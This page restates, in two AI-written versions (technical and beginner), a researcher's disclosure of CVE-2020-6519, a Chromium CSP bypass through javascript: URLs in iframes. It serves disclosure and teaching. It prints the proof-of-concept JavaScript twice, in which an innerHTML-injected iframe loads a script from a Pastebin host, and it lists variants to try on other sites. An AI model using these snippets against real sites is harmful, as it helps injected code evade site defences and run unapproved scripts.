Skip to content
XSS Write-up Intermediate

CVE-2020-6519 - Chromium 83 Zero Day Full CSP Bypass Cross Platforms

Gal Weizman Follow

Published on weizman.github.io

Bounty$3,000 View original

I was extremely surprised when I discovered this vulnerability affecting Chromium based browsers - Chrome, Opera, Edge - on Windows, Mac and Android that allowed attackers to fully bypass CSP rules on Chrome versions 73 (March 2019) through 83 (July 2020).

Gal Weizman, on weizman.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

CVE-2020-6519 is a vulnerability in the CSP enforcement mechanism of Chromium-based browsers: Chrome, Opera and Edge, on Windows, Mac and Android. It allowed an attacker who already had a way to run script on a page to fully bypass the site's Content Security Policy. The affected range was Chrome 73 (March 2019) through 83 (July 2020).

CSP is a set of rules a website sends to the browser, and the browser's job is to enforce those rules on the site's behalf: blocking or allowing specific request calls, specific types of JavaScript execution and similar. Sites rely on it as a protection tier against injected malicious scripts and cross-site scripting.

The write-up was published on 2 September 2020. The bug was reported to the Chromium project, tagged medium severity (CVSS 6.5) and paid a $3,000 bounty.

Setup

No accounts, roles or special tooling are needed to reproduce the core issue. The preconditions are:

  1. A Chromium-based browser in the vulnerable range, Chrome 73 through 83.
  2. A page whose CSP disallows the source or actions the injected script wants to perform.
  3. Some way to get script running on that page, which is the same precondition an XSS needs.

The researcher also published a test script, CVE-2020-6519-TEST-IT-YOURSELF.js, intended to be pasted into the DevTools console on any site to check whether the current browser and website combination is vulnerable.

Finding it

The starting point is the difference between two ways of loading the same external script. When a site's CSP disallows the source, a normal dynamically created script element is blocked by the browser. But the same code placed inside an iframe whose src is a javascript: URL was not blocked at all. That is the whole bug: the CSP check was not applied to script execution reached through a javascript: URL in an iframe.

The researcher describes the result as a full CSP bypass on any operating system, affecting billions of browsers, and notes that many of the largest sites on the web were exposed. Sites listed as vulnerable included Facebook, WellsFargo, Gmail, Zoom, TikTok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger and Quora.

Sites that used nonces or hashes in their CSP were not vulnerable, because those add a layer enforced on the server side as well as the client side. The report names Twitter, GitHub, LinkedIn, Google Play Store, Yahoo's login page, PayPal and Yandex as examples of protected sites.

Exploitation

Step 1: confirm that CSP blocks the direct load

The baseline is a script that sets a URL on the top window and then appends a script element pointing at it. On a site whose CSP disallows that source, the browser blocks the call.

JavaScript
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

The document.createElement("script") plus appendChild is the ordinary way to load an external script, and it is exactly the path CSP is designed to police.

Step 2: reach the same load through a javascript: iframe

The bypass writes an iframe into the page using innerHTML, with a javascript: URL as its src. The code inside that URL repeats the same script load.

JavaScript
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

The important parts:

  1. document.querySelector('DIV') picks an existing element on the page and sets its innerHTML, so the iframe is created by the parser rather than by createElement.
  2. The iframe's src is a javascript: URL. When the browser navigates the iframe to it, the code runs in the iframe's context.
  3. That code reads top._CVE_URL and appends a script element pointing at the same external URL. This time the load succeeds even though CSP disallows it.

The researcher's summary is that the browser would blindly allow CSP privilege escalation for any unwanted code in a website, on any OS.

5
5 From the original on weizman.github.io

Step 3: test any site from the console

To check a given site, the researcher's test script is run in the DevTools console. It tries to load an external script from https://pastebin.com/raw/XpHsfXJQ twice: once normally, and once through the exploit. The outcome tells you which of three states you are in.

Browser and website are vulnerable:

2
2 From the original on weizman.github.io

Browser is vulnerable but the website is not:

1
1 From the original on weizman.github.io

Browser is not vulnerable:

4
4 From the original on weizman.github.io

Root cause

The flaw is in Chromium's CSP enforcement, not in any individual website. The browser failed to apply the site's CSP to script execution that was reached by navigating an iframe to a javascript: URL. The direct path, appending a script element, was checked; the iframe path was not. Because the iframe's code runs in the page's context and can then append a script element itself, the check that should have blocked the external load never happened.

Existing defences did not stop it because CSP was the defence. Sites that added nonces or hashes were unaffected, since those bind allowed scripts to a server-generated value or a hash of the script content, and that check is enforced on both the server and the client side.

Impact

A successful bypass means an attacker who can already get script onto a page can load and run script from sources the site's CSP was meant to forbid. The report is explicit that this does not by itself mean sites are breached: the attacker still needs a way to get the malicious script called from the site, which is why the issue was classified as medium severity.

The concern is the loss of the second layer. Some of the largest sites rely on CSP to enforce their policy, and may approve third-party scripts from vendors and partners on the assumption that a strict policy protects them. The researcher estimates that thousands of websites across e-commerce, banking, telecommunications, government and utilities were left unprotected against a scenario where an attacker managed to inject code. The listed vulnerable sites represent more than 2.5 billion users, and Chrome alone has over two billion users and more than 65% of the browser market.

The researcher also points to a previous persistent XSS in WhatsApp Web and Desktop, where the severity was high partly because the CSP was misconfigured in a way that let injected scripts communicate with any domain. The argument is that finding code execution on a site you do not control is hard, but once someone has it, a working second layer is what limits the damage.

Fix

The Chromium project patched the vulnerability in Chrome 84. The report's advice for site owners and users:

  1. Ensure CSP policies are well defined.
  2. Add nonces or hashes as an additional layer. This requires server-side implementation.
  3. Treat CSP alone as insufficient for most sites and add JavaScript-based detection and monitoring of shadow code for real-time mitigation of web page code injection.
  4. Make sure the Chrome browser version is 84 or higher.

Variants to test

  1. javascript: iframe on other CSP-protected sites. Run the test script from the console on a site with a source-allowlist CSP. A positive result is the external script loading through the iframe while the direct load is blocked.
  2. Other DOM sinks for the iframe. Instead of innerHTML, try insertAdjacentHTML, outerHTML or document.write with the same javascript: iframe. A positive result is the same bypass through a different sink.
  3. Nonce and hash sites as controls. Run the same test on sites known to use nonces or hashes. A positive result here would mean the extra layer is not being enforced as expected; the report's expectation is that these sites are not vulnerable.
  4. Different Chromium-based browsers and platforms. Repeat on Opera and Edge, on Windows, Mac and Android, within the vulnerable version range. A positive result is the bypass reproducing on each combination.
  5. Version boundary checks. Test on Chrome 73 and on Chrome 84. A positive result is the bypass working on 73 and failing on 84, confirming the patched boundary.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher found a bug in Google Chrome, and in other browsers built on the same engine (Opera and Edge), that let malicious code get around a website's main defence against injected scripts. The defence is called Content Security Policy, or CSP. The bug was tracked as CVE-2020-6519 and affected Chrome versions 73 (March 2019) through 83 (July 2020), on Windows, Mac and Android.

To understand why this matters, imagine a nightclub with a strict guest list at the door. The bouncer checks every name. CSP is that bouncer: the website hands the browser a list of rules, and the browser is supposed to enforce them, blocking scripts from sources the site did not approve. The bug meant there was a side entrance the bouncer never watched. Anyone who could already get a line of code onto the page could walk their script in through that side entrance, and the bouncer would not stop it.

The researcher reported the bug to the Chromium project, which fixed it in Chrome 84. Google rated it medium severity (CVSS 6.5) and paid a $3,000 bounty. The write-up was published on 2 September 2020.

Context

What CSP is, from zero

When you load a web page, the server sends back not just the page content but also a set of instructions in the response headers. One of those instructions can be a Content Security Policy. It is a list of rules written by the website owner, for example "only run scripts that come from my own domain" or "only run scripts that carry this one-time code I generated". The browser reads those rules and enforces them: if a script tries to load from a source the policy does not allow, the browser refuses to run it.

Why would a site want this? Because attackers have a common trick called cross-site scripting, or XSS. In an XSS attack, someone manages to get their own JavaScript into a page that other people visit. That script then runs in the victim's browser as if the website itself had written it. CSP is a second line of defence: even if an attacker slips a script tag onto the page, the browser should refuse to load anything from a source the site did not approve.

What the bug was

CVE-2020-6519 is a flaw in how Chromium-based browsers enforced CSP. It let an attacker who already had a way to run script on a page fully bypass the site's CSP. The affected range was Chrome 73 (March 2019) through 83 (July 2020).

The researcher published the write-up on 2 September 2020. The bug was reported to the Chromium project, tagged medium severity (CVSS 6.5) and paid a $3,000 bounty.

Setup

You do not need accounts, special roles or expensive tools to reproduce the core issue. The preconditions are:

  1. A Chromium-based browser in the vulnerable range, Chrome 73 through 83.
  2. A page whose CSP disallows the source or actions the injected script wants to perform.
  3. Some way to get script running on that page, which is the same precondition an XSS needs.

The researcher also published a test script, CVE-2020-6519-TEST-IT-YOURSELF.js, meant to be pasted into the DevTools console on any site. The DevTools console is a panel built into Chrome where you can type JavaScript and run it immediately in the context of the page you are viewing. It is a standard tool for developers and testers, and you open it with a keyboard shortcut or from the browser menu.

Finding it

The starting point is the difference between two ways of loading the same external script. When a site's CSP disallows the source, a normal dynamically created script element is blocked by the browser. But the same code placed inside an iframe whose src is a javascript: URL was not blocked at all.

An iframe is a frame inside a page that can load another page or run its own content. A javascript: URL is a special kind of address that, instead of pointing at a file on a server, contains code. When a browser navigates to a javascript: URL, it runs that code. The bug was that the CSP check was not applied to script execution reached through a javascript: URL in an iframe.

The researcher describes the result as a full CSP bypass on any operating system, affecting billions of browsers, and notes that many of the largest sites on the web were exposed. Sites listed as vulnerable included Facebook, WellsFargo, Gmail, Zoom, TikTok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger and Quora.

Sites that used nonces or hashes in their CSP were not vulnerable. A nonce is a random one-time value the server generates for each page load and includes in the policy; only scripts carrying that exact value are allowed to run. A hash is a fingerprint of the script's content; only scripts whose content matches the fingerprint are allowed. Both add a layer enforced on the server side as well as the client side, so the browser has something concrete to check beyond a list of allowed sources. The report names Twitter, GitHub, LinkedIn, Google Play Store, Yahoo's login page, PayPal and Yandex as examples of protected sites.

Exploitation

Step 1: confirm that CSP blocks the direct load

The baseline is a script that sets a URL on the top window and then appends a script element pointing at it. On a site whose CSP disallows that source, the browser blocks the call.

JavaScript
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

Line by line:

  1. top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'; stores a web address in a variable attached to the topmost window of the page. top means the outermost window, even if the code later runs inside a frame. Storing the address there means the next step, which runs inside an iframe, can still read it. The address points at a small script hosted on Pastebin, a site where people paste and share text.
  2. var s = document.createElement("script"); creates a new script element in memory. It is not on the page yet, just a blank tag waiting to be filled in.
  3. s.src = top._CVE_URL; points that script element at the Pastebin address.
  4. document.body.appendChild(s); attaches the script element to the page body, which tells the browser to fetch and run it.

This is the ordinary way to load an external script, and it is exactly the path CSP is designed to police. On a site whose policy does not allow Pastebin as a source, the browser refuses the load.

Step 2: reach the same load through a javascript: iframe

The bypass writes an iframe into the page using innerHTML, with a javascript: URL as its src. The code inside that URL repeats the same script load.

JavaScript
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Line by line:

  1. The first line again stores the Pastebin address on top, so the code inside the iframe can read it.
  2. document.querySelector('DIV') finds the first DIV element on the page. A DIV is just a generic container block that most pages have.
  3. .innerHTML="..." replaces everything inside that container with the HTML string on the right. The browser parses that string and builds the elements it describes. This is a different route from createElement: the browser's HTML parser creates the element, not your script.
  4. The string is an <iframe> whose src is javascript:.... When the browser navigates the iframe to that address, it runs the code after javascript: inside the iframe's context.
  5. That inner code creates a script element, points it at the same Pastebin address, and appends it to the document body. This time the load succeeds even though CSP disallows it.

The important parts, in plain words:

  1. document.querySelector('DIV') picks an existing element on the page and sets its innerHTML, so the iframe is created by the parser rather than by createElement.
  2. The iframe's src is a javascript: URL. When the browser navigates the iframe to it, the code runs in the iframe's context.
  3. That code reads top._CVE_URL and appends a script element pointing at the same external URL.

The researcher's summary is that the browser would blindly allow CSP privilege escalation for any unwanted code in a website, on any OS. In everyday terms: the bouncer checked the front door, but the side entrance had no bouncer at all, and once inside, the intruder could open the front door from the inside.

5
5 From the original on weizman.github.io

Step 3: test any site from the console

To check a given site, the researcher's test script is run in the DevTools console. It tries to load an external script from https://pastebin.com/raw/XpHsfXJQ twice: once normally, and once through the exploit. The outcome tells you which of three states you are in.

Browser and website are vulnerable:

2
2 From the original on weizman.github.io

Browser is vulnerable but the website is not:

1
1 From the original on weizman.github.io

Browser is not vulnerable:

4
4 From the original on weizman.github.io

The first means both the browser and the site's policy let the bypass through.

Root cause

The flaw is in Chromium's CSP enforcement, not in any individual website. The browser failed to apply the site's CSP to script execution that was reached by navigating an iframe to a javascript: URL. The direct path, appending a script element, was checked; the iframe path was not. Because the iframe's code runs in the page's context and can then append a script element itself, the check that should have blocked the external load never happened.

Existing defences did not stop it because CSP was the defence. Sites that added nonces or hashes were unaffected, since those bind allowed scripts to a server-generated value or a hash of the script content, and that check is enforced on both the server and the client side.

Impact

A successful bypass means an attacker who can already get script onto a page can load and run script from sources the site's CSP was meant to forbid. The report is explicit that this does not by itself mean sites are breached: the attacker still needs a way to get the malicious script called from the site, which is why the issue was classified as medium severity.

The concern is the loss of the second layer. Some of the largest sites rely on CSP to enforce their policy, and may approve third-party scripts from vendors and partners on the assumption that a strict policy protects them. The researcher estimates that thousands of websites across e-commerce, banking, telecommunications, government and utilities were left unprotected against a scenario where an attacker managed to inject code. The listed vulnerable sites represent more than 2.5 billion users, and Chrome alone has over two billion users and more than 65% of the browser market.

The researcher also points to a previous persistent XSS in WhatsApp Web and Desktop, where the severity was high partly because the CSP was misconfigured in a way that let injected scripts communicate with any domain. Persistent XSS means the malicious script is stored on the server and served to every visitor, rather than being a one-off trick against a single person. The argument is that finding code execution on a site you do not control is hard, but once someone has it, a working second layer is what limits the damage.

Fix

The Chromium project patched the vulnerability in Chrome 84. The report's advice for site owners and users:

  1. Ensure CSP policies are well defined.
  2. Add nonces or hashes as an additional layer. This requires server-side implementation.
  3. Treat CSP alone as insufficient for most sites and add JavaScript-based detection and monitoring of shadow code for real-time mitigation of web page code injection. Shadow code is third-party or injected code that runs on a page without the site owner fully tracking it.
  4. Make sure the Chrome browser version is 84 or higher.

Variants to test

  1. javascript: iframe on other CSP-protected sites. Run the test script from the console on a site with a source-allowlist CSP. A positive result is the external script loading through the iframe while the direct load is blocked.
  2. Other DOM sinks for the iframe. Instead of innerHTML, try insertAdjacentHTML, outerHTML or document.write with the same javascript: iframe. A DOM sink is any place where a script writes text into the page and the browser turns it into live elements; different sinks may behave differently. A positive result is the same bypass through a different sink.
  3. Nonce and hash sites as controls. Run the same test on sites known to use nonces or hashes. A positive result here would mean the extra layer is not being enforced as expected; the report's expectation is that these sites are not vulnerable.
  4. Different Chromium-based browsers and platforms. Repeat on Opera and Edge, on Windows, Mac and Android, within the vulnerable version range. A positive result is the bypass reproducing on each combination.
  5. Version boundary checks. Test on Chrome 73 and on Chrome 84. A positive result is the bypass working on 73 and failing on 84, confirming the patched boundary.

Glossary

  • CSP (Content Security Policy): a set of rules a website sends to the browser, telling it which scripts and requests are allowed; the browser enforces them on the site's behalf.
  • CVE: a public identifier for a known security vulnerability, so people can refer to the same bug unambiguously.
  • CVSS: a scoring system that rates the severity of a vulnerability, usually from 0 to 10.
  • Bounty: a payment a company makes to a researcher who reports a valid security bug.
  • Chromium: the open-source browser engine that Chrome, Opera and Edge are built on.
  • XSS (cross-site scripting): an attack where someone gets their own script to run inside a page other people visit.
  • Persistent XSS: XSS where the malicious script is stored on the server and served to every visitor.
  • CSP bypass: getting code to run despite the site's CSP rules, so the policy no longer protects the page.
  • Nonce: a random one-time value the server puts in the CSP and in the allowed script tag; only scripts carrying that exact value may run.
  • Hash (in CSP): a fingerprint of a script's content; only scripts whose content matches the fingerprint may run.
  • Source allowlist: a CSP rule that lists which domains scripts may be loaded from.
  • iframe: a frame inside a page that can load another page or run its own content.
  • javascript: URL: an address that contains code instead of pointing at a file; navigating to it runs the code.
  • DOM: the browser's in-memory model of the page, made of elements such as DIV and script.
  • DOM sink: a place in the page where written text is turned into live elements by the browser.
  • innerHTML: a property that replaces the contents of an element with an HTML string, which the browser then parses.
  • createElement / appendChild: the standard way to build a new element in script and attach it to the page.
  • DevTools console: a panel in the browser where you can type and run JavaScript on the current page.
  • Shadow code: third-party or injected code running on a page that the site owner does not fully track.
  • Medium severity: a severity rating below high, meaning the bug is real but needs other conditions to cause serious harm.
  • Patch: a software update that fixes a bug.

More by Gal Weizman

View all

3 more disclosed reports, best first.

More from Google (Chrome & Chromium)

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.